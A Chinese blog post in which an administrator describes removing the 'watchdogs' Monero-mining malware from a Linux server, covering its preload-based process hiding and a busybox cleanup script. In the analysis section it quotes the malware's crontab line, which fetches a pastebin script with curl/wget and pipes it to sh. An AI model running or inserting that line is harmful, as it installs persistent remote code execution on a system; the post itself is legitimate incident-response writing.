Linux watchdogs 感染性隐藏挖矿病毒入侵(由于被检测到对外攻击,已阻断该服务器对其它服务器端口)

发布时间:2019-03-01作者:laosun阅读(7000)

Linux

服务器感染挖矿病毒(门罗币挖矿病毒), 经过近2个小时的紧急排查, 已基本搞定了该病毒。传播途径基本可以确认是jenkins自动化部署工具。

    半年前自己的服务器曾经遭受了一次挖矿攻击,那次是因为redis安装完没有设置密码。导致了内网攻击,加入了挖矿病毒(minerd),CPU 占用100%。其实那次只要找到进程ID,kill掉,然后将执行文件删掉即可解决。


    言归正传(首先在发表这篇文章的时候,挖矿病毒已经基本干掉,搞定了...)


    这几天阿里一直给推送邮件,说由于被检测到对外攻击,已阻断该服务器对其它服务器端口,可是登录服务器也没发现有任何异常,但是报警邮件还一直有,百思不得其解。使用top等命令查看也没有CPU占用很高的进程

    后来经过我们公司运维同事的提醒,说进程可能隐藏了,到阿里云监控查看了一下,如下图所示:

    2.png

    然后点击监控图表进去后,点击进程监控,如下所示:

    1.png

    由上图可得知,自己的服务器确实CPU占满了,并且有挖矿病毒的存在,进程号:9691、进程名:ksofttirqds。

    那为什么使用ps -ef无法查询到的原因,或许是拦截、修改了你的ps、或者top指令等操作。所以无法查询到。


    1:脚本分析:

    使用 crontab -l 查询任务项,如果出现以下所示的一句话,那么恭喜你,中招了:

    该病毒会每15分钟从pastebin上下载shell脚本并执行(文件内容为经过base64编码处理):

    export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin

    echo "*/15 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh" | crontab -


    不要想着执行crontab -e,进去后删除,然后保存退出。这方法压根不行,因为还会继续添加。kill掉进程,过一会也会继续出现,当然是用top等指令肯定是看不到的。


    2. 使用busybox代替系统命令(系统命令已不可信, 操作优先采用busybox)

    比如:busybox top  或者  busybox ps -ef

    此busybox为静态编译版, 不依赖so库, 系统的ls等命令已被通过so库的preload机制被病毒劫持, ls会导致/etc/cron.d/root文件被刷写为病毒定时执行命令。


    3. 解决方案

    先关掉定时crontab。

    service crond stop # 关掉定时
    chkconfig crond off #关掉定时自启动

    写hosts, 屏蔽病毒脚本下载

    busybox echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com" >> /etc/hosts

    删除,创建,并锁定 crontab相关文件

    busybox rm /var/spool/cron/root && busybox touch /var/spool/cron/root && busybox chattr +i  /var/spool/cron/root
    busybox rm /var/spool/cron/crontabs/root && busybox touch /var/spool/cron/crontabs/root && busybox chattr +i /var/spool/cron/crontabs/root 
    busybox rm /etc/cron.d/root && busybox touch /etc/cron.d/root && busybox chattr +i /etc/cron.d/root

    然后删除cron.d目录的其他文件(备份重要的crontab)

    busybox rm -rf /etc/cron.d/* #如果提示没权限(请是用chattr -i /etc/cron.d/root 进行解锁操作)

    删除病毒相关执行文件和启动脚本

    busybox rm /sbin/watchdogs
    busybox rm /usr/sbin/watchdogs
    busybox rm /etc/init.d/watchdogs
    busybox rm /usr/sbin/kthrotlds

    删除病毒进程

    busybox pkill watchdogs
    busybox pkill ksoftirqds
    busybox pkill kthrotlds #很重要的一个进程,吃了它的亏,怎么都删不掉的罪魁祸首

    删除被preload的so库

    busybox rm /usr/local/lib/libioset.so
    busybox rm /usr/local/lib/libcset.so # 这个路径其实就是ld.so.preload中的内容,真实的地址,很重要
    busybox rm /etc/ld.so.preload
    busybox rm /etc/ld.so.cache

    然后重启服务器

    busybox top # 查看系统负载
    crontab -l  # 查看是否还有异常任务


    完整的执行脚本:

    busybox pkill watchdogs
    busybox pkill ksoftirqds
    busybox pkill kthrotlds
    busybox rm /usr/local/lib/libioset.so
    busybox rm /usr/local/lib/libcset.so
    busybox rm /etc/ld.so.preload
    busybox rm /etc/ld.so.cache
    busybox rm -rf /etc/cron.d/*
    
    busybox rm /sbin/watchdogs
    busybox rm /usr/sbin/watchdogs
    busybox rm /etc/init.d/watchdogs
    busybox rm /usr/sbin/kthrotlds
    
    busybox rm /tmp/.lsdpid
    
    busybox rm /var/spool/cron/crontabs/root && busybox touch /var/spool/cron/crontabs/root 
    busybox rm /etc/cron.d/root && busybox touch /etc/cron.d/root && busybox chattr +i /etc/cron.d/root
    
    busybox rm /var/spool/cron/root && busybox touch /var/spool/cron/root && busybox chattr +i  /var/spool/cron/root
    busybox rm /var/spool/cron/crontabs/root && busybox touch /var/spool/cron/crontabs/root && busybox chattr +i /var/spool/cron/crontabs/root 
    busybox rm /etc/cron.d/root && busybox touch /etc/cron.d/root && busybox chattr +i /etc/cron.d/root
    
    busybox find / -type f -name '*watchdogs*'|busybox xargs rm -f
    busybox find / -type f -name '*ksoftirqds*'|busybox xargs rm -f

    执行完成之后,输入crontab -e ,将里边的内容删除,保存退出,重启服务器。


    这2个小时的斗智斗勇最是精彩,过程最重要。


    说实话,这个病毒还是挺厉害的。

    推荐另一篇文章:https://www.360zhijia.com/anquan/445529.html  

    不过话说这次被植入挖矿应该是由于jenkins的插件漏洞导致


6 +1

版权声明

 linux  安全  服务端  nginx

 请文明留言

1 条评论